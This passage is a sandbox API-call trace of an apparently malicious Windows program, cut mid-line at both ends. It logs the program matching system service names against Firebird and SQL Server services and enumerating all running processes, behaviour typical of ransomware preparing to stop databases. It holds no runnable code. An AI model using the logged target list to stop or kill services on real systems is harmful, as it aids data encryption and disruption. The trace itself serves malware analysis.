-1 [0079.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.344] lstrlenW (lpString="ProfSvc") returned 7 [0079.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.344] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.344] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.344] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.344] lstrlenW (lpString="RpcSs") returned 5 [0079.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.344] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.344] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.344] lstrlenW (lpString="SamSs") returned 5 [0079.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.345] lstrlenW (lpString="Schedule") returned 8 [0079.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.345] lstrlenW (lpString="SecurityHealthService") returned 21 [0079.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0079.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0079.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0079.345] lstrlenW (lpString="SENS") returned 4 [0079.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.345] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.346] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.346] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.346] lstrlenW (lpString="Spooler") returned 7 [0079.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.346] lstrlenW (lpString="SSDPSRV") returned 7 [0079.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0079.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0079.346] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0079.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0079.346] lstrlenW (lpString="StateRepository") returned 15 [0079.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0079.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0079.346] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0079.346] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0079.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0079.346] lstrlenW (lpString="SysMain") returned 7 [0079.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3ce6290 | out: hHeap=0x6a0000) returned 1 [0079.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c0 [0079.355] Process32FirstW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.356] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.357] lstrlenW (lpString="System") returned 6 [0079.357] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.358] lstrlenW (lpString="smss.exe") returned 8 [0079.358] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.359] lstrlenW (lpString="csrss.exe") returned 9 [0079.360] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.360] lstrlenW (lpString="wininit.exe") returned 11 [0079.361] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.362] lstrlenW (lpString="csrss.exe") returned 9 [0079.362] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.363] lstrlenW (lpString="winlogon.exe") returned 12 [0079.363] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.364] lstrlenW (lpString="services.exe") returned 12 [0079.364] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.365] lstrlenW (lpString="lsass.exe") returned 9 [0079.365] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.366] lstrlenW (lpString="svchost.exe") returned 11 [0079.367] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0079.368] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.369] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0079.369] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.370] lstrlenW (lpString="svchost.exe") returned 11 [0079.370] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.371] lstrlenW (lpString="dwm.exe") returned 7 [0079.371] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.373] lstrlenW (lpString="svchost.exe") returned 11 [0079.373] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.374] lstrlenW (lpString="svchost.exe") returned 11 [0079.374] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.055] lstrlenW (lpString="svchost.exe") returned 11 [0080.055] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.056] lstrlenW (lpString="svchost.exe") returned 11 [0080.057] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.058] lstrlenW (lpString="svchost.exe") returned 11 [0080.058] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.059] lstrlenW (lpString="svchost.exe") returned 11 [0080.059] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.061] lstrlenW (lpString="svchost.exe") returned 11 [0080.061] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.062] lstrlenW (lpString="svchost.exe") returned 11 [0080.062] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.063] lstrlenW (lpString="svchost.exe") returned 11 [0080.064] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0080.065] lstrlenW (lpString="spoolsv.exe") returned 11 [0080.065] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.066] lstrlenW (lpString="svchost.exe") returned 11 [0080.066] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.068] lstrlenW (lpString="svchost.exe") returned 11 [0080.068] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0080.069] lstrlenW (lpString="audiodg.exe") returned 11 [0080.069] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0080.070] lstrlenW (lpString="sihost.exe") returned 10 [0080.070] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.071] lstrlenW (lpString="svchost.exe") returned 11 [0080.071] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.072] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.073] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0080.074] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0080.074] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0080.075] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0080.075] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.076] lstrlenW (lpString="explorer.exe") returned 12 [0080.076] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0080.077] lstrlenW (lpString="Memory Compression") returned 18 [0080.078] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0080.079] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0080.079] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0080.080] lstrlenW (lpString="SearchUI.exe") returned 12 [0080.080] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0080.081] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0080.081] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.082] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.082] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.083] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.084] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0080.085] lstrlenW (lpString="UsoClient.exe") returned 13 [0080.085] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.086] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.086] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0080.087] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0080.087] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0080.088] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0080.088] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0080.089] lstrlenW (lpString="msoia.exe") returned 9 [0080.089] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0080.090] lstrlenW (lpString="msoia.exe") returned 9 [0080.091] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0080.466] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0080.467] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0080.468] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0080.468] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0080.469] lstrlenW (lpString="xml-upper.exe") returned 13 [0080.469] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0080.470] lstrlenW (lpString="defeat preston.exe") returned 18 [0080.470] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0080.471] lstrlenW (lpString="surveillance.exe") returned 16 [0080.471] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0080.472] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0080.473] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0080.473] lstrlenW (lpString="deemed.exe") returned 10 [0080.474] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0080.475] lstrlenW (lpString="scored-prices.exe") returned 17 [0080.475] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0080.476] lstrlenW (lpString="understood.exe") returned 14 [0080.476] Process32NextW (in: 